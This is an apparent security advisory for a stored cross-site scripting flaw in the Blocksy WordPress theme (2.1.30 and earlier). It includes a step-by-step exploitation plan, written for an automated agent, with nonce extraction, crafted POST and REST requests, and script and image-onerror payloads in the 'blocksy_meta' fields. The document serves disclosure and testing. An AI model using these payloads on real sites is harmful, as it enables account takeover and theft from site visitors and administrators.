Blocksy <= 2.1.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via `blocksy_meta` Fields
Description
The Blocksy theme for WordPress is vulnerable to Stored Cross-Site Scripting via the `blocksy_meta` metadata fields in all versions up to, and including, 2.1.30 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2583 (Blocksy Theme Stored XSS) ## 1. Vulnerability Summary The Blocksy theme for WordPress (up to version 2.1.30) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists in the handling of the `blocksy_meta` metadata field associated with…
Show full research plan
Exploitation Research Plan: CVE-2026-2583 (Blocksy Theme Stored XSS)
1. Vulnerability Summary
The Blocksy theme for WordPress (up to version 2.1.30) contains a Stored Cross-Site Scripting (XSS) vulnerability. The issue exists in the handling of the blocksy_meta metadata field associated with posts and pages. While WordPress core provides some protection for metadata, themes that implement custom meta boxes or settings often use the blocksy_meta key to store a JSON-encoded array or serialized object containing display options (e.g., page titles, header overrides, custom labels).
The vulnerability occurs because the theme fails to properly sanitize this input when saving and/or fails to escape it when rendering the values on the frontend. A Contributor-level user, who has permission to create and edit their own posts, can inject arbitrary JavaScript into these metadata fields.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(Standard Post Update) or the WordPress REST APIwp-json/wp/v2/posts/. - Vulnerable Parameter:
blocksy_meta(submitted as part of the post metadata). - Authentication Level: Authenticated, Contributor or higher.
- Preconditions: The Blocksy theme must be active. The attacker must have a user account with at least
Contributorprivileges to create/edit posts.
3. Code Flow (Inferred)
- Entry Point: A Contributor user saves a post. The request includes metadata updates, specifically for the key
blocksy_meta. - Processing:
- The theme likely hooks into
save_postor uses a custom AJAX handler (e.g.,wp_ajax_blocksy_save_meta_options). - The code retrieves the
blocksy_metadata from$_POST. - It fails to apply
wp_kses()orsanitize_text_field()to specific sub-keys within theblocksy_metaarray before callingupdate_post_meta().
- The theme likely hooks into
- Sink: When a user (including an Administrator) views the affected post on the frontend:
- The theme calls
get_post_meta( $post_id, 'blocksy_meta', true ). - It accesses a specific field (e.g.,
page_title_custom_textorsubtitle). - It
echoes this value directly into the HTML without usingesc_html(),esc_attr(), orwp_kses().
- The theme calls
4. Nonce Acquisition Strategy
Since the vulnerability involves an authenticated Contributor, the agent will use the browser_navigate and browser_eval tools to obtain the necessary nonces from the WordPress admin interface.
- Login: Log in as a Contributor user.
- Navigate: Go to
wp-admin/post-new.php. - Extract Nonce:
- For standard post updates, the nonce is found in the
#_wpnoncehidden input field. - Script:
browser_eval("document.querySelector('#_wpnonce').value")
- For standard post updates, the nonce is found in the
- Identify Meta Structure: If Blocksy uses a custom interface, the agent will look for localized variables.
- Script:
browser_eval("window.blocksy_admin_data || window.ct_localizations")
- Script:
5. Exploitation Strategy
The goal is to update the blocksy_meta field for a post owned by the Contributor.
Step 1: Create a Target Post
Use wp-cli to create a post as the contributor user.
wp post create --post_type=post --post_status=publish --post_title="XSS Test Post" --post_author=$(wp user get contributor --field=ID)
Step 2: Perform the Injection
We will use the http_request tool to send a POST request to wp-admin/post.php to update the post metadata.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[EXTRACTED_NONCE]blocksy_meta[page_title_custom_text]:<img src=x onerror=alert('XSS_SUCCESS')>blocksy_meta[subtitle]:<script>console.log('XSS_SUBTITLE')</script>
(Note: The exact sub-keys under blocksy_meta may vary. Common Blocksy keys include page_title_custom_text, subtitle, or custom_content_area. The agent should try these or inspect the source of the edit page.)
Step 3: Trigger the XSS
Navigate to the post on the frontend using browser_navigate("http://localhost:8080/?p=[POST_ID]").
6. Test Data Setup
- Theme: Ensure
blocksyversion<= 2.1.30is active. - User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Post: Create a post as
attacker.
7. Expected Results
- The HTTP request to
post.phpshould return a302 Redirectback to the post edit page (indicating a successful save). - When the post is viewed on the frontend, the browser should execute the JavaScript (e.g., an alert box or console log).
- The HTML source will show the raw payload inside a
<h1>,<span>, or<div>tag related to the post title or metadata display.
8. Verification Steps
After the HTTP exploit, use wp-cli to verify the metadata state:
# Check if the payload is stored in the database
wp post meta get [POST_ID] blocksy_meta
Inspect the output to confirm that the blocksy_meta value contains the unescaped <script> or <img> tag.
9. Alternative Approaches
If the standard post.php update does not work for blocksy_meta, try the REST API:
- REST API Discovery: Check if
blocksy_metais registered in the REST API.curl -u attacker:password http://localhost:8080/wp-json/wp/v2/posts/[POST_ID] - REST API Update:
- URL:
http://localhost:8080/wp-json/wp/v2/posts/[POST_ID] - Method:
POST - Body:
{"meta": {"blocksy_meta": {"page_title_custom_text": "<script>alert(1)</script>"}}} - Nonce: Use the
wp_restnonce (X-WP-Nonceheader), which can be extracted viabrowser_eval("wpApiSettings.nonce").
- URL:
Summary
The Blocksy theme for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping on the 'blocksy_meta' metadata fields. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts into these metadata fields, which will execute whenever a user views the affected post or page.
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level permissions follows these steps: 1. Authenticate to the WordPress admin panel and create a new post or identify an existing post they authored. 2. Capture the necessary nonce (e.g., '_wpnonce') from the post editor interface. 3. Send a POST request to the 'wp-admin/post.php' endpoint with the 'action' parameter set to 'editpost' and the 'post_ID' targeting their post. 4. Within the POST body, include the 'blocksy_meta' array parameter containing an XSS payload in sub-keys such as 'page_title_custom_text' or 'subtitle' (e.g., blocksy_meta[page_title_custom_text]=<img src=x onerror=alert('XSS')>). 5. Alternatively, if the meta is registered in the REST API, perform a POST request to '/wp-json/wp/v2/posts/[ID]' with the payload in the 'meta' object. 6. The payload is stored in the database and will execute in the browser of any user who navigates to the public URL of the modified post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.